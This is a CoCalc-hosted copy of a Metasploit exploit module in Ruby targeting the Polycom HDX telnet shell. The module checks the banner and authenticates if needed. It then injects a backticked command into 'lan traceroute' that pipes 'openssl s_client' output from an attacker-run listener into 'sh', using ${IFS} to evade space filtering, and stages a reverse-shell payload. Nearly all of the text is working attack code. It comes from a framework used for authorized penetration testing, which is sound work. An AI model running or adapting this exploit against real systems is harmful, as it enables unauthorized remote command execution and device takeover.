CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Polycom Shell HDX Series Traceroute Command Execution',
14
'Description' => %q{
15
Within Polycom command shell, a command execution flaw exists in
16
lan traceroute, one of the dev commands, which allows for an
17
attacker to execute arbitrary payloads with telnet or openssl.
18
},
19
'Author' => [
20
'Mumbai', #
21
'staaldraad', # https://twitter.com/_staaldraad/
22
'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # took some of the code from polycom_hdx_auth_bypass
23
'h00die <[email protected]>' # stole the code, creds to them
24
],
25
'References' => [
26
['URL', 'https://staaldraad.github.io/2017/11/12/polycom-hdx-rce/']
27
],
28
'DisclosureDate' => '2017-11-12',
29
'License' => MSF_LICENSE,
30
'Platform' => 'unix',
31
'Arch' => ARCH_CMD,
32
'Stance' => Msf::Exploit::Stance::Aggressive,
33
'Targets' => [[ 'Automatic', {} ]],
34
'Payload' => {
35
'Space' => 8000,
36
'DisableNops' => true,
37
'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnet generic openssl'}
38
},
39
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
40
'DefaultTarget' => 0
41
))
42
43
register_options(
44
[
45
Opt::RHOST(),
46
Opt::RPORT(23),
47
OptString.new('PASSWORD', [ false, "Password to access console interface if required."]),
48
OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),
49
OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])
50
])
51
end
52
53
def check
54
connect
55
Rex.sleep(1)
56
res = sock.get_once
57
disconnect
58
if !res && !res.empty?
59
return Exploit::CheckCode::Unknown
60
elsif res =~ /Welcome to ViewStation/ || res =~ /Polycom/
61
return Exploit::CheckCode::Detected
62
end
63
Exploit::CheckCode::Unknown
64
end
65
66
def exploit
67
unless check == Exploit::CheckCode::Detected
68
fail_with(Failure::Unknown, "#{peer} - Failed to connect to target service")
69
end
70
71
#
72
# Obtain banner information
73
#
74
sock = connect
75
Rex.sleep(2)
76
banner = sock.get_once
77
vprint_status("Received #{banner.length} bytes from service")
78
vprint_line("#{banner}")
79
if banner =~ /password/i
80
print_status("Authentication enabled on device, authenticating with target...")
81
if datastore['PASSWORD'].nil?
82
print_error("#{peer} - Please supply a password to authenticate with")
83
return
84
end
85
# couldnt find where to enable auth in web interface or telnet...but according to other module it exists..here in case.
86
sock.put("#{datastore['PASSWORD']}\n")
87
res = sock.get_once
88
if res =~ /Polycom/
89
print_good("#{peer} - Authenticated successfully with target.")
90
elsif res =~ /failed/
91
print_error("#{peer} - Invalid credentials for target.")
92
return
93
end
94
elsif banner =~ /Polycom/ # praise jesus
95
print_good("#{peer} - Device has no authentication, excellent!")
96
end
97
do_payload(sock)
98
end
99
100
def do_payload(sock)
101
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
102
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
103
104
# Start a listener
105
start_listener(true)
106
107
# Figure out the port we picked
108
cbport = self.service.getsockname[2]
109
cmd = "devcmds\nlan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}#{cbhost}${IFS}-port${IFS}#{cbport}|sh`\n"
110
sock.put(cmd)
111
if datastore['VERBOSE']
112
Rex.sleep(2)
113
resp = sock.get_once
114
vprint_status("Received #{resp.length} bytes in response")
115
vprint_line(resp)
116
end
117
118
# Give time for our command to be queued and executed
119
1.upto(5) do
120
Rex.sleep(1)
121
break if session_created?
122
end
123
end
124
125
def stage_final_payload(cli)
126
print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
127
cli.put(payload.encoded + "\n")
128
end
129
130
def start_listener(ssl = false)
131
comm = datastore['ListenerComm']
132
if comm == 'local'
133
comm = ::Rex::Socket::Comm::Local
134
else
135
comm = nil
136
end
137
138
self.service = Rex::Socket::TcpServer.create(
139
'LocalPort' => datastore['CBPORT'],
140
'SSL' => ssl,
141
'SSLCert' => datastore['SSLCert'],
142
'Comm' => comm,
143
'Context' =>
144
{
145
'Msf' => framework,
146
'MsfExploit' => self
147
}
148
)
149
150
self.service.on_client_connect_proc = proc { |client|
151
stage_final_payload(client)
152
}
153
154
# Start the listening service
155
self.service.start
156
end
157
158
# Shut down any running services
159
def cleanup
160
super
161
if self.service
162
print_status("Shutting down payload stager listener...")
163
begin
164
self.service.deref if self.service.is_a?(Rex::Service)
165
if self.service.is_a?(Rex::Socket)
166
self.service.close
167
self.service.stop
168
end
169
self.service = nil
170
rescue ::Exception
171
end
172
end
173
end
174
175
# Accessor for our TCP payload stager
176
attr_accessor :service
177
end
178
179